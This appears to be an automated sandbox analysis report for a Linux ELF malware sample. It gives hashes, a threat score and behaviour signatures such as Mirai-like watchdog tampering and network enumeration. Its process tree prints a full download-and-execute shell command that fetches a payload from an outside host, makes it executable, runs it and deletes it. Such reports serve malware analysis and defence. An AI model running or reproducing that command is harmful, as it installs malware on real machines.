Analysis
-
max time kernel
146s -
max time network
137s -
platform
ubuntu-18.04_amd64 -
resource
ubuntu1804-amd64-20240221-en -
resource tags
-
submitted
22-02-2024 21:35
General
-
Target
6d658881294fbbcb36dee0f4bc05c98a.elf
-
Size
97KB
-
MD5
6d658881294fbbcb36dee0f4bc05c98a
-
SHA1
b772975381cb0c2b5897eac6eb1d94049719b708
-
SHA256
37b552e1027ecf2bdec32cf8c538baa058928b560dd225611a4ea5deb16cb739
-
SHA512
4f316659a7cf125852a94a61a824f819d29a8d913d656c325152588b7d0c6a3c9ba89ca069e3dd22c3d0656e345530ea1789e9cb96f5ed65ece41719fa4bcd48
-
SSDEEP
3072:gjtwgA6UlYzZveohR9kIEpfdGZmmFVcqq0G27ZT:gjhzt3mIEpfAmmFVcqq0G27ZT
Score
7/10
Malware Config
Signatures
-
Changes its process name 1 IoCs
-
Executes dropped EXE 1 IoCs
-
Modifies Watchdog functionality 1 TTPs 2 IoCs
Malware like Mirai modifies the Watchdog to prevent it restarting an infected system.
-
Reads system routing table 1 TTPs 1 IoCs
Gets active network interfaces from /proc virtual filesystem.
-
Reads system network configuration 1 TTPs 1 IoCs
Uses contents of /proc filesystem to enumerate network settings.
-
Writes file to tmp directory 1 IoCs
Malware often drops required files in the /tmp directory.
Processes
-
/tmp/6d658881294fbbcb36dee0f4bc05c98a.elf/tmp/6d658881294fbbcb36dee0f4bc05c98a.elf1⤵
- Changes its process name
- Reads system routing table
- Reads system network configuration
-
/bin/sh/bin/sh -c "wget -q http://gay.energy/.../vivid -O .....;chmod 777 .....;./.....;rm -rf ....."1⤵
-
/usr/bin/wgetwget -q http://gay.energy/.../vivid -O .....2⤵
- Writes file to tmp directory
-
-
/bin/chmodchmod 777 .....2⤵
-
-
/tmp/....../.....2⤵
- Executes dropped EXE
-
-
/bin/sh/bin/sh ./.....2⤵
-
-
/bin/rmrm -rf .....2⤵
-